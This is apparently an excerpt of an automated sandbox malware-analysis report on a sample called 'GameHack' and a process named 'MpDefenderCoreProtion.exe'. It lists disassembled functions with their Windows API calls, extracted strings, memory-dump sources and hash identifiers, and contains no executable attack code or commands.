Instruction ID: 474b0d826a03eb782dac6408717ecd52d193960ef4496a1d9b5743a8e70df31e
Opcode Fuzzy Hash: 46d45437bf881060891f947650aec9d3ba4d76883fc361421d2bb44ca5e48db8
Instruction Fuzzy Hash: 4251BFB1E0020EAFDB14DFA8C9419BDB7F5EF88314F299079E658BB300E6719A058B51

Function 00ED772B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED7730
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00ED78CC

Part of subcall function 00EDA444: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00EDA27A,?,?,?,00EDA113,?,00000001,00000000,?,?), ref: 00EDA458
Part of subcall function 00EDA444: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00EDA27A,?,?,?,00EDA113,?,00000001,00000000,?,?), ref: 00EDA489

Strings

:, xrefs: 00ED77A1

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: ac9facfb51343708864ec68432ad330c3377c3ac8ab84bc10aefd40f53dcec51
Instruction ID: 91c95e2d1a36293b314d14c75e2b3944abc22d1500635c26d26f754e2dc175c0
Opcode Fuzzy Hash: ac9facfb51343708864ec68432ad330c3377c3ac8ab84bc10aefd40f53dcec51
Instruction Fuzzy Hash: D2419471905268AADB24EB50DD45EEEB3BCEF44300F00509BB649B3292EB745F86DF61

Function 00EDB66C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

\\?\, xrefs: 00EDB6BE, 00EDB6FA, 00EDB75B, 00EDB7AE
UNC, xrefs: 00EDB708

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: 0bb37662ed6b0cbe021faca22ed8c556d017f52f142c1ee3cf8ead608e8cb2a6
Instruction ID: 5e1b76b759454aa1ed945ee956b8a5c5832677c11fd212eaec8598eb5abec2fe
Opcode Fuzzy Hash: 0bb37662ed6b0cbe021faca22ed8c556d017f52f142c1ee3cf8ead608e8cb2a6
Instruction Fuzzy Hash: BC418C35800259EBCB20AF21DC41EEF77A9EF84794B126167F815B6352F770DA429A60

Function 00EE8FB6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00EE8FC4

Strings

about:blank, xrefs: 00EE9082
Shell.Explorer, xrefs: 00EE8FEF

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: c4b2e2090c999b84cb801e4a722ebf8c463a81fda7acb6fa151fc4f35e9fd088
Instruction ID: c8a47fafa66a5597b834a012b1713f1a426f0e844463f4afed97d12c4aa7140d
Opcode Fuzzy Hash: c4b2e2090c999b84cb801e4a722ebf8c463a81fda7acb6fa151fc4f35e9fd088
Instruction Fuzzy Hash: 4C2182712043989FCB18DF65C895A6A77E8FF84711B14856DF909AB287DB70EC00DB60

Function 00EDEBF2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00EDEB73: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00EDEB92
Part of subcall function 00EDEB73: GetProcAddress.KERNEL32(00F181C0,CryptUnprotectMemory), ref: 00EDEBA2

GetCurrentProcessId.KERNEL32(?,?,?,00EDEBEC), ref: 00EDEC84

Strings

CryptUnprotectMemory failed, xrefs: 00EDEC7C
CryptProtectMemory failed, xrefs: 00EDEC3B

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: fa2d0d34adc472c7d219083785ab020782ec61be68d7be0ace84c1dcff28373f
Instruction ID: 035169c674dea6e0026a7d8775ee7508e7f99666e24149402eedf9f83d908d1f
Opcode Fuzzy Hash: fa2d0d34adc472c7d219083785ab020782ec61be68d7be0ace84c1dcff28373f
Instruction Fuzzy Hash: 0F115932A112686BDB157B34DD0AAAE7758EF04764B05901BFC057F381CB75AE43A7D0

Function 00EE0889 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00EE09D0,?,00000000,00000000), ref: 00EE08AD
SetThreadPriority.KERNEL32(?,00000000), ref: 00EE08F4

Part of subcall function 00ED6E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00ED6EAF

Strings

CreateThread failed, xrefs: 00EE08B9

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: d13262bb056249bc1633dfa36fd8a314911d731262db93ed97747825dcdabb88
Instruction ID: 2f19d1ddef207ce7fa4f926480a52bbe963c65d877120e8a518fc3cd857415f0
Opcode Fuzzy Hash: d13262bb056249bc1633dfa36fd8a314911d731262db93ed97747825dcdabb88
Instruction Fuzzy Hash: CF01F9B134430D6FD6246F55EC82FA67398EF84715F10043EFA86B6181CEF1A8C2A664

Function 00ED130B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00EDDA98: _swprintf.LIBCMT ref: 00EDDABE
Part of subcall function 00EDDA98: _strlen.LIBCMT ref: 00EDDADF
Part of subcall function 00EDDA98: SetDlgItemTextW.USER32(?,00F0E154,?), ref: 00EDDB3F
Part of subcall function 00EDDA98: GetWindowRect.USER32(?,?), ref: 00EDDB79
Part of subcall function 00EDDA98: GetClientRect.USER32(?,?), ref: 00EDDB85

GetDlgItem.USER32(00000000,00003021), ref: 00ED134F
SetWindowTextW.USER32(00000000,00F035B4), ref: 00ED1365

Strings

0, xrefs: 00ED130E

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: ceaee0fb4772bd926fbfa5626195954ad8483ba0d56b0ce15e4fb4bfece363df
Instruction ID: f8fc25a3140fafb52da818ea2b5c976e653334ccf999dc0a9e009bcd02b49bb7
Opcode Fuzzy Hash: ceaee0fb4772bd926fbfa5626195954ad8483ba0d56b0ce15e4fb4bfece363df
Instruction Fuzzy Hash: ADF0AF3010438CB6DF251F618D09BE93B99FB10359F09A096FD49646A1CBB4C996FB10

Function 00EE084E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00EE0A78,?), ref: 00EE0854
GetLastError.KERNEL32(?), ref: 00EE0860

Part of subcall function 00ED6E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00ED6EAF

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00EE0869

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: e016e7b548cbc263591c8f8f4462471ce57affa7ec82735becce4a46d07a040e
Instruction ID: ccd8578af99810c36fd277c5f635f38a09a36557c5a0c1bf5cdc9e59041339bd
Opcode Fuzzy Hash: e016e7b548cbc263591c8f8f4462471ce57affa7ec82735becce4a46d07a040e
Instruction Fuzzy Hash: 97D05B7150902126CA102724AC0ADAF7B09DF51734F500716F639752F5DF610A9265D5

Function 00EDDA4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00EDD32F,?), ref: 00EDDA53
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00EDD32F,?), ref: 00EDDA61

Strings

RTL, xrefs: 00EDDA5B

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: db73d924d1987faad825959dea99e70c3e54845cfabac72dbdf63bca17ba68fd
Instruction ID: 7b12b8c086ad6d529ae8180949f0cae8ad13c6d2e4ff26835babf26a56f15f6f
Opcode Fuzzy Hash: db73d924d1987faad825959dea99e70c3e54845cfabac72dbdf63bca17ba68fd
Instruction Fuzzy Hash: C8C0123128A75076D73017216D0DB433A4C6B10B15F05044DB185DA1D0D5E5C9459650

Analysis Process: MpDefenderCoreProtion.exePID: 7932, Parent PID: 7588COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	30
Total number of Limit Nodes:	5

Executed Functions

Function 017DE340 Relevance: 6.1, APIs: 4, Instructions: 135
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 017DE3CE
GetCurrentThread.KERNEL32 ref: 017DE40B
GetCurrentProcess.KERNEL32 ref: 017DE448
GetCurrentThreadId.KERNEL32 ref: 017DE4A1

Memory Dump Source

Source File: 0000000D.00000002.1335923594.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_17d0000_MpDefenderCoreProtion.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: bde9dd0fa4ea6fe8c9ef9576fcab3ce2a4ddc677653b808bd4df672164efe691
Instruction ID: f77b1293f9fa12952719f6044ca771257314ddb2cf023e7dc31c302926bdde85
Opcode Fuzzy Hash: bde9dd0fa4ea6fe8c9ef9576fcab3ce2a4ddc677653b808bd4df672164efe691
Instruction Fuzzy Hash: 685166B09007098FDB14DFAAD949BAEFBF1EB88314F208029E418A7390DB355945CF66

Function 017DE350 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 017DE3CE
GetCurrentThread.KERNEL32 ref: 017DE40B
GetCurrentProcess.KERNEL32 ref: 017DE448
GetCurrentThreadId.KERNEL32 ref: 017DE4A1

Memory Dump Source

Source File: 0000000D.00000002.1335923594.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_17d0000_MpDefenderCoreProtion.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 5829f4c41348112df121dfcdb66961978241e44bd6fd02e96cd9f861c3be5049
Instruction ID: 7060894a78867cb3b30a0a8b68c9d2b981b317bcfabb3acda63aa2e6eda325b4
Opcode Fuzzy Hash: 5829f4c41348112df121dfcdb66961978241e44bd6fd02e96cd9f861c3be5049
Instruction Fuzzy Hash: E15156B09007498FDB14DFAAD549B9EFFF1EB88314F208029E418A7390DB755845CF65

Function 017DC8AC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 017DC969

Memory Dump Source

Source File: 0000000D.00000002.1335923594.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_17d0000_MpDefenderCoreProtion.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 52db519163458ac1cc2709a212e3fff0964965c46cf9ccf4efd3fe94fadd3fe1
Instruction ID: 2fbae4e4c41469d9ad598f64e05e0e60dfff69e806d8fccf96bd3b993275ac22
Opcode Fuzzy Hash: 52db519163458ac1cc2709a212e3fff0964965c46cf9ccf4efd3fe94fadd3fe1
Instruction Fuzzy Hash: F741FEB5C0071DCBEB29DFAAC944B9DFBB1BF48304F20816AD408AB255DB756946CF50

Function 017D7894 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 017DC969

Memory Dump Source

Source File: 0000000D.00000002.1335923594.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_17d0000_MpDefenderCoreProtion.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 873c876d300eb2147968a7b466a610c46a454afd27173751a53e3f00a91a56bc
Instruction ID: e7f0696922690b7dbc27c2762b4a39c3b93b96296a3fcc3561de966f4fd9aff8
Opcode Fuzzy Hash: 873c876d300eb2147968a7b466a610c46a454afd27173751a53e3f00a91a56bc
Instruction Fuzzy Hash: 1241E3B1C0071DCBEB25DFAAC844B9DFBB5BF48304F20816AD508AB255DB756946CF90

Function 017DE657 Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 017DE61F

Memory Dump Source

Source File: 0000000D.00000002.1335923594.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_17d0000_MpDefenderCoreProtion.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4d821c4b9d776fbcbb8654a58f55a8ff02a3739d4efa8008099cbf9dc5107a54
Instruction ID: 85593bbad2850b8ef77d2f24845292a4aedd84fb22df77182b214bc3748ec382
Opcode Fuzzy Hash: 4d821c4b9d776fbcbb8654a58f55a8ff02a3739d4efa8008099cbf9dc5107a54
Instruction Fuzzy Hash: 34314BB9A613809FE7118FA5E94676D3FB2F788300F10402AF9058B3C1DB795942CF54

Function 017DE590 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 017DE61F

Memory Dump Source

Source File: 0000000D.00000002.1335923594.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_17d0000_MpDefenderCoreProtion.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a57a3d3ad39debd486cf5f5f12b17108370974516f2d024c8c83ac8033c9cebb
Instruction ID: c21a2e72e9cfa8b3211e638562f680505aec80e3d0ab13b358029f19da341736
Opcode Fuzzy Hash: a57a3d3ad39debd486cf5f5f12b17108370974516f2d024c8c83ac8033c9cebb
Instruction Fuzzy Hash: 5D2114B5C002099FDB10CFAAD885ADEFBF8FB48320F14801AE918A3310D378A941CF65

Function 017DE598 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 017DE61F

Memory Dump Source

Source File: 0000000D.00000002.1335923594.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_17d0000_MpDefenderCoreProtion.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7053d86e764bb79ae992d1de1cebc726df6951ac5b4c89385b1bfc870123b378
Instruction ID: 172a1cf58cef2e5fe526a8cd37c229b7d77424624595a1bdf4d902c23831a677
Opcode Fuzzy Hash: 7053d86e764bb79ae992d1de1cebc726df6951ac5b4c89385b1bfc870123b378
Instruction Fuzzy Hash: E121E4B5D002099FDB10CF9AD884ADEFBF8EB48320F14801AE914A7350D778A940CF65

Analysis Process: MpDefenderCoreProtion.exePID: 5456, Parent PID: 932COMMON

Executed Functions

Function 015787F0 Relevance: 2.4, Strings: 1, Instructions: 1157COMMON

Download Yara Rule

Strings

4'q, xrefs: 0157A405

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: 685b60f2c62ecc6b2f1d0626696587932335d60f3847f9f83a08f00f8febaeb9
Instruction ID: e7c182af7d88c32530725671c26b9769bc87435fb92a348f3124a3a2cee5cb77
Opcode Fuzzy Hash: 685b60f2c62ecc6b2f1d0626696587932335d60f3847f9f83a08f00f8febaeb9
Instruction Fuzzy Hash: 04A228747006118FDB29DF38E499A6EBBF2BF88314F1449A9E516CB361DB31E844CB61

Function 01575E98 Relevance: 2.7, Strings: 2, Instructions: 244COMMON

Download Yara Rule

Strings

tPq, xrefs: 0157605B
dq, xrefs: 01575F17

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID: dq$tPq
API String ID: 0-2605541315
Opcode ID: 7155cd7561e0af695c4a0962d5309891c7f38b547764f4c7679a95ce2c45e078
Instruction ID: 5e389046f82b3233dd32b77f3a48aff16298bb5c80c25c57518ff7e5768120f1
Opcode Fuzzy Hash: 7155cd7561e0af695c4a0962d5309891c7f38b547764f4c7679a95ce2c45e078
Instruction Fuzzy Hash: E4916E34B102158FEB19AB75E41976D7BB6FB88305F10846DE806EB390EF359C86CB61

Function 01575E88 Relevance: 2.7, Strings: 2, Instructions: 236COMMON

Download Yara Rule

Strings

tPq, xrefs: 0157605B
dq, xrefs: 01575F17

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID: dq$tPq
API String ID: 0-2605541315
Opcode ID: 606255d529325e9ba56a6ab9d013bae19f4f74c2d5aa05aded6a37b958df79df
Instruction ID: 4b05249b6ee215e0a04602ae4f44c7447db933fe5b47302553ca197d327b830c
Opcode Fuzzy Hash: 606255d529325e9ba56a6ab9d013bae19f4f74c2d5aa05aded6a37b958df79df
Instruction Fuzzy Hash: E4918034B10314CFDB19AB79E41976D7AA6FB88305F14846DE806EB390EF359C868B61

Function 0157AACF Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

C8, xrefs: 0157AB49

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID: C8
API String ID: 0-392638660
Opcode ID: 07142b7cc74a93b5aeb21bf1c779c1564af3a60341b9489bca5ec5af487e0e4a
Instruction ID: 446d6de50fecd46d4d722ab564200ce3f049189ac7a5b8fa5d1a31e32c08f3ec
Opcode Fuzzy Hash: 07142b7cc74a93b5aeb21bf1c779c1564af3a60341b9489bca5ec5af487e0e4a
Instruction Fuzzy Hash: C741AE347002009FCB15DB6CE855A2EBBE6EFC82107148569E90ADF761EA30EC028B91

Function 01576C68 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

Teq, xrefs: 01576D24

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID: Teq
API String ID: 0-1098410595
Opcode ID: e2f667edc8337ffab70928d87c68d9b163ca29d08c161128d95e9cd0ff816d72
Instruction ID: 7a7ed8f491a589bfe7c5c202e7acf9177a5a0910583bec64d01d14a0455562b4
Opcode Fuzzy Hash: e2f667edc8337ffab70928d87c68d9b163ca29d08c161128d95e9cd0ff816d72
Instruction Fuzzy Hash: 1F417A70B006149FDB14DF6ED555B9EBBF6BF89710F24806AE406EB3A4CE719C018B90

Function 015710A2 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

Teq, xrefs: 0157110C

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID: Teq
API String ID: 0-1098410595
Opcode ID: 7c66bcfb3f506e4cf6715c96340a139dcaef1a0276c5d96f23be867471a5a392
Instruction ID: 04d52b7a3c01cca000c1981052007170e4745a7febcf84652b2add0747b2a624
Opcode Fuzzy Hash: 7c66bcfb3f506e4cf6715c96340a139dcaef1a0276c5d96f23be867471a5a392
Instruction Fuzzy Hash: C2218E31B402158FDB14DB69E859BAEBBF6BF88710F24005AE501EF3A0CF759D018B91

Function 0157A550 Relevance: .5, Instructions: 497COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 636736b84588446cd863fb49ffe1dd2e252a2c8bfc03013449e8be8cdfc891ad
Instruction ID: 04ba6c1f10a9ec8daf4da9eac5e25cdc9782203be99f26111c460b8681927a67
Opcode Fuzzy Hash: 636736b84588446cd863fb49ffe1dd2e252a2c8bfc03013449e8be8cdfc891ad
Instruction Fuzzy Hash: 3B02AC747047018FCB15DB3CE495A2E7BE6BF89604B1948A9E946CF362DB34EC46C7A0

Function 015792DA Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c037d0246db7847746f09a7b5a6694f08b226086396fa987f1fde3b28598860c
Instruction ID: 68086172e336e94af29408e58325ca5c9d473d9c546612b6e6b047ee4ef7f193
Opcode Fuzzy Hash: c037d0246db7847746f09a7b5a6694f08b226086396fa987f1fde3b28598860c
Instruction Fuzzy Hash: 7351A0707047408FCB25CF38E495A6EBBF6BF85229B044899E556CF3A2DB31E845CB61

Function 01579BE7 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

